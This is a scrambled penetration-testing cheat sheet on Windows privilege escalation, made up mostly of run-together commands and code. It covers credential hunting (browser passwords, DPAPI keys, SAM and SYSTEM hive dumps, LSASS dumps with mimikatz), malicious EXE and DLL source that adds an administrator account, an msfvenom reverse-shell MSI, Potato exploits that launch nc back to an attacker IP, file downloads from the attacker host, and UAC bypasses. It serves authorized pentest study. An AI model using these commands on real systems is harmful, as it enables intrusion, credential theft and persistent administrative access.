Windows Privilege and Access Control
S-R-X-Y
Collecting Environment Data
whoamiGet-LocalGroupGet-LocalGroupMember {group name}systeminfoipconfig /all, route print, netstat -ano or -qGet-ItemProperty "HKLM:\SOFTWARE\Wow6432Node{can_be_removed}\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname - displays all removable applications
select displayname to return all info, like file pathGet-Process
Get-Process | Select ProcessName,PathGet-ChildItem Env:C:\, C:\Program Files\, and C:\Program Files (x86)\ for unusual applicationsLaZagne (see below section)Searching for Sensitive Information
{dir/ls} -forceGet-ChildItem -Path C:\Users -Include *.txt, *.ini, -File -Recurse -ErrorAction SilentlyContinue -force
- For sensitive files in general, try .kdbx, .ssh, .rdp, etc.findstr /sim {password/pass/pwd/cred/vnc} *.{txt/ini/xml/config} (*.{txt/ini/xml/config})runas /user:{username} {program, like powershell.exe}C:\Users\{user}\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite (along with plum.sqlite-shm and plum.sqlite-wal)select Text from Note%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
Find sensitive PowerShell information
(Get-PSReadlineOption).HistorySavePath - ENTIRE PowerShell historyApplications and Services Logs > Microsoft > Windows > PowerShell > Operational and scroll through logsdownload {filename}upload {filename}evil-winrm -i {IP} -u {username} -p {password}evil-winrm -i {IP} -c certificate.pem -k priv-key.pem -SBrowser Credentials
.\SharpChrome.exe logins /unprotect%APPDATA%\Mozilla\Firefox\Profiles\{random_value}.default-release
copy $env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite .Remote Access Tool Credentials
Import-Module .\SessionGopher.ps1 and then run Invoke-SessionGopher -ThoroughDPAPI Keys
~\AppData\Roaming\Microsoft\Protect\{user_SID}\, which we can decrypt using impacket:
dpapi.py masterkey -file {masterkey_file} -sid {user_SID} -password '{user_password}'~\Appdata\(Roaming/Local)\Microsoft\Credentials\ again using impacket:
dpapi.py credential -file {credential_file} -key '0x{master_key}'Winpeas
https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exewinpeas.exe --fileanalysis to analyze filesLaZagne
\lazagne.exe allPowerUp Powershell Script
SharpUp ghostpack executable
Seatbelt
.\Seatbelt.exe -group=allSherlock
Import-Module .\Sherlock.ps1 and Find-AllVulnsHijacking Service Binaries
Get-CimInstanceto query services of WMI (Windows Management Instrumentation) class
Get-CimInstance -ClassName win32_service | Select Name,State,Pathname | Where-Object {$_.State -like 'Running'}icacls or Get-ACL
icacls "{executable path}"system()sudo apt install mingw-w64x86_64-w64-mingw32-gcc newuser.c -o newuser.exe
python3 -m http.serveriwr -uri http://{kali_IP}:8000/newuser.exe -Outfile newuser.exe#include <stdlib.h>
int main ()
{
int i;
i = system ("net user kali Password123! /add");
i = system ("net localgroup administrators kali /add");
i = system ("net localgroup "Remote Desktop Users" kali /add");
return 0;
}
net stop {service}, but access will likely be deniedStartMode is set to “Auto”, we can reboot the system (if permissions allow)
Hijacking Service DLLs
Get-ItemProperty "HKLM:\SOFTWARE\(optional)Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname to find installed software$env:path), so we put it therecase DLL_PROCESS_ATTACH:
int i; i = system("net user /ADD tempuser"); i = system("net localgroups administrators /ADD tempuser"); break;--shared flag
x86_64-w64-mingw32-gcc dll.cpp --shared -o dll.dll#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user kali kali123! /add");
i = system ("net localgroup administrators kali /add");
i = system ("net localgroup "Remote Desktop Users" kali /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
.bat files
C:\Users\Public\reverseshell.exeAbusing Service ACLs
sc to modify the servicesc config {vulnerable_service} binpath="cmd /c net localgroup administrators {our_user} /add" will do the trick
Abusing Unquoted Service Paths
wmic in cmd:
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """C:\Program Files\Enterprise Agents\Company Files\GammaServ.exeC:\Program.exe, then C:\Program Files\Enterprise.exe, then C:\Program Files\Enterprise Agents\Company.exe, and finally C:\Program Files\Enterprise Agents\Company Files\GammaServ.exe
C:\Program Files\Enterprise Agents\ directory, we can make an executable called Company.exe, which will be used before the real oneLiving off of the Land
certutil can download files with certutil.exe -urlcache -split -f http://{kaliIP}/{file} {output_file}Using Scheduled Tasks
Get-ScheduledTask or schtasks /query /fo LIST /v
{workgroup}\, which will return things authored by people like CLIENTWK220\daveadminC:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUpRegistry
HKLM\system\currentcontrolset\services\<service> (Interactive [FullControl])reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Runreg query HKLM\Software\Microsoft\Windows\CurrentVersion\Runaccesschk \accepteula -uvwqk "{path}"
reg query {registry_path}reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v {file_path_entry} /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /freg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedmsfvenom -p windows/x64/shell_reverse_tcp LHOST={IP} LPORT={port} --platform windows -f msi > reverse.msimsiexec /quiet /qn /i reverse.msiAbusing Privileges to Execute Code as Privileged Users
whoami /priv
SeImpersonatePrivilege, SeBackupPrivilege, SeAssignPrimaryToken, SeLoadDriver, SeTakeOwnershipPrivilege or SeDebugPrivilege, we can sometimes perform operations in the security context of another user
SeBackupPrivilege and SeRestorePrivilege, we can read arbitrary files with robocopy: robocopy /b C:\<path to file> .\<filename>
reg save hklm\sam C:\Users\{current_user}\samreg save hklm\system C:\Users\{current_user}\system
dir /s {SAM/SYSTEM}impacket-secretsdump -sam sam -system system LOCALSeDebugPrivilege
procdump.exe -accepteula -ma lsass.exe lsass.dmpmimikatz (run log so output is in txt) and run sekurlsa::minidump lsass.dmpSeTakeOwnershipPrivilege
takeown /f '{path_to_object}'
icacls '{path_to_object}' /grant {our_user}:FSeImpersonatePrivilege to impersonate the user account and perform operations in their security context
.\SweetPotato.exe -e EfsRpc -p {path_to_nc.exe} -a "{kali_ip} {listening_port} -e cmd" works pretty wellC:\Users\Public\JuicyPotato.exe -l 1337 -p C:\Windows\system32\cmd.exe -a "/c {nc.exe_path} {kali_IP} {kali_port} -e cmd.exe" -t *GodPotato.exe -cmd "cmd /c reverse.exe"
GodPotato.exe -cmd "powershell -e ...."SeImpersonatePrivilegewget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe.\PrintSpoofer64.exe -i -c powershell.exeBypassing UAC
Access is denied. error while a attempting to perform a privileged action, it’s likely UACREG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin (5 being the highest level)[environment]::OSVersion.VersionImport-Module .\Bypass-UAC.ps1 and then Bypass-UAC -Method UacMethodSysprepcmsptlua are pretty reliablereg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c notepad.exe" /f
reg add "HKCU\Software\Classes\Folder\shell\open\command" /v "DelegateExecute" /f%windir%\System32\sdclt.exeBypassing GPO restrictions
\\127.0.0.1\c$\users\{user}cmd.exe in a network share, access the share from paint’s explorer dialog, right click cmd.exe, and open it
Target field is C:\Windows\System32\cmd.exe, and thus opening the shortcut pops cmd.bat, .ps, and .vbs scripts will sometimes automatically execute, which can also be used to gain a shellWireShark